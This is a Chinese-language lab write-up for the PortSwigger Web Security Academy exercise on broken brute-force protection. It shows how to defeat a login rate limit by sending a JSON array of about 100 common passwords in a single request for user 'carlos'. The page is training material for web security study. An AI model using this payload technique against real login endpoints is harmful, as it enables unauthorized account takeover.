> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).

# 每次请求包含多个凭据的失效暴力破解防护

每次请求包含多个凭据的失效暴力破解防护，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修

### 失效的暴力破解防护：单个请求中的多个凭据

本实验展示了针对暴力破解攻击的防护机制中的一个逻辑缺陷。/ 目标是 **找出用户 carlos 的密码** 并访问其页面 **我的账户**.

* **目标用户**: `carlos`
* **候选密码列表**：由实验提供
* **入口点**：登录表单

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3194516c73719c3404fef06dffc278f984573f50%2F%7B23642F1A-A776-47A6-AC12-BC43655196BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**行为观察**

在分析登录表单时，发送到服务器的请求采用 **JSON** 格式，包含以下字段：

```json
{
    "username":"carlos",
    "password":"password"
}
```

反暴力破解保护似乎基于发送的\*\* HTTP 请求\*\*数量，而不是\*\*实际测试的密码\*\*数量。

**利用该逻辑缺陷**

不发送单个密码查询，而是可以传送 **多个密码在一次查询中**，使用 JSON 数组作为 `密码` 字段。

{% code overflow="wrap" %}

```json
{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```

{% endcode %}

服务器\*\*接受请求\*\*并测试数组中包含的所有密码， **而不会触发阻止机制**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cceb4b8ffbe43ea9dc1156eea5da388b1dbbfa07%2F%7B98F12D38-6A42-458B-93B0-ED4D46A781AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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